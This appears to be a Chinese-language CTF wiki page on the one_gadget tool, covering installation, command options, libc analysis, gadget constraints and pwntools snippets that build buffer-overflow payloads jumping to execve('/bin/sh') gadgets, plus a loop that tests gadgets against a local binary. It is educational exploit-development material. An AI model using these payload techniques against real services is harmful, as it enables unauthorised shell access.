one_gadget
2026/5/29工具工具libcone_gadget大约 3 分钟
one_gadget
是什么
one_gadget 用来在 libc 中搜索可能直接拿 shell 的 gadget。
它常用于 ret2libc 题:泄露 libc 基址后,计算 one_gadget 地址,覆盖返回地址跳过去。
但 one_gadget 通常有约束条件,例如某些寄存器或栈上位置必须为 NULL,所以它不是万能解法。
安装与配置
one_gadget 是 Ruby gem:
sudo apt install ruby ruby-dev
sudo gem install one_gadget验证:
one_gadget --help基本用法
搜索 libc
one_gadget ./libc.so.6输出通常类似:
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
[rsp+0x40] == NULL
0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL在脚本里使用
from pwn import *
libc_base = leaked_puts - libc.symbols["puts"]
one = libc_base + 0x4f2a5
payload = flat(b"A" * offset, one)更多用法
指定架构
# 64 位
one_gadget ./libc.so.6
# 32 位
one_gadget ./libc.so.6 --arch 32输出为 JSON
one_gadget ./libc.so.6 --json输出为 base64
one_gadget ./libc.so.6 --base64搜索多个 libc
one_gadget ./libc1.so.6 ./libc2.so.6使用 libc 版本号
one_gadget libc6_2.27-3ubuntu1_amd64.so查看 gadget 详情
one_gadget ./libc.so.6 --verboselibc 分析
获取 libc 信息
# 查看 libc 版本
strings ./libc.so.6 | grep "GNU C Library"
# 查看架构
file ./libc.so.6
# 查看符号
readelf -s ./libc.so.6 | grep "system"
readelf -s ./libc.so.6 | grep "/bin/sh"获取关键地址
from pwn import *
libc = ELF("./libc.so.6")
# system 地址
print(hex(libc.symbols["system"]))
# /bin/sh 地址
bin_sh = next(libc.search(b"/bin/sh"))
print(hex(bin_sh))
# puts 地址
print(hex(libc.symbols["puts"]))
# read 地址
print(hex(libc.symbols["read"]))libc 版本识别
from LibcSearcher import LibcSearcher
libc = LibcSearcher("puts", puts_leak)
print(libc.name())约束条件
常见约束
rsp & 0xf == 0:
栈指针需要 16 字节对齐
解决: 在 one_gadget 前加一个 ret gadget
[rsp+0x40] == NULL:
栈上偏移 0x40 处需要为 NULL
解决: 在 payload 后补零字节
rax == NULL:
rax 寄存器需要为 0
解决: 使用 pop rax; ret gadget 设置
[rsp+0x70] == NULL:
栈上偏移 0x70 处需要为 NULL
解决: 调整 payload 长度检查约束
# 在 one_gadget 地址下断点
b *0x4f2a5
run
# 检查约束
p $rsp
p $rsp & 0xf
x/gx $rsp+0x40满足约束
# 栈对齐
ret_gadget = 0x401234 # ret 指令地址
payload = flat(b"A" * offset, ret_gadget, one)
# NULL 填充
payload = flat(b"A" * offset, one)
payload = payload.ljust(offset + 0x80, b"\x00")CTF常用技巧
先看约束
不要只复制第一个地址。必须看 constraints:
rax == NULL
[rsp+0x30] == NULL
rsp & 0xf == 0如果约束不满足,程序会崩溃。
多试几个 gadget
同一个 libc 会给多个候选:
one_gadget ./libc.so.6实战中经常第一个不行,第二个或第三个可用。
栈上 NULL 约束
如果要求 [rsp+0x40] == NULL,可以在 payload 后面补足空字节:
payload = flat(b"A" * offset, one)
payload = payload.ljust(0x100, b"\x00")和 system("/bin/sh") 对比
如果能稳定控制 rdi,system("/bin/sh") 往往更可解释、更稳。one_gadget 适合快速尝试,但 WP 里要说明约束条件。
自动化测试
from pwn import *
def try_one_gadget(libc, offset, one_offset):
"""尝试一个 one_gadget"""
try:
elf = ELF("./vuln")
p = process(elf.path)
libc_base = 0x7f0000000000 # 假设基址
one = libc_base + one_offset
payload = flat(b"A" * offset, one)
payload = payload.ljust(0x100, b"\x00")
p.sendline(payload)
p.sendline(b"id")
result = p.recvline(timeout=2)
p.close()
return b"uid" in result
except:
return False
# 测试多个 one_gadget
gadgets = [0x4f2a5, 0x4f302, 0x10a2fc]
for g in gadgets:
if try_one_gadget(libc, offset, g):
print(f"Found working gadget: {hex(g)}")
break常见问题
one_gadget 本地成功远程失败
可能 libc 版本不同、栈布局不同、约束条件远程不满足。
没有题目 libc 怎么办
先泄露并确认 libc 版本。不要拿本机 libc 的 one_gadget 直接打远程。
Full RELRO 会影响 one_gadget 吗
Full RELRO 不直接影响 one_gadget。它主要影响 GOT 改写。
程序崩溃
1. 检查约束条件是否满足
2. 尝试其他 one_gadget
3. 检查栈对齐
4. 使用 system("/bin/sh") 替代找不到 one_gadget
1. 确认 libc 文件完整
2. 尝试不同版本的 one_gadget
3. 使用其他利用方式
4. 手动搜索 execve 调用链关联
- ROP基础
- ELF、PLT、GOT与libc
- LibcSearcher
- patchelf
- pwntools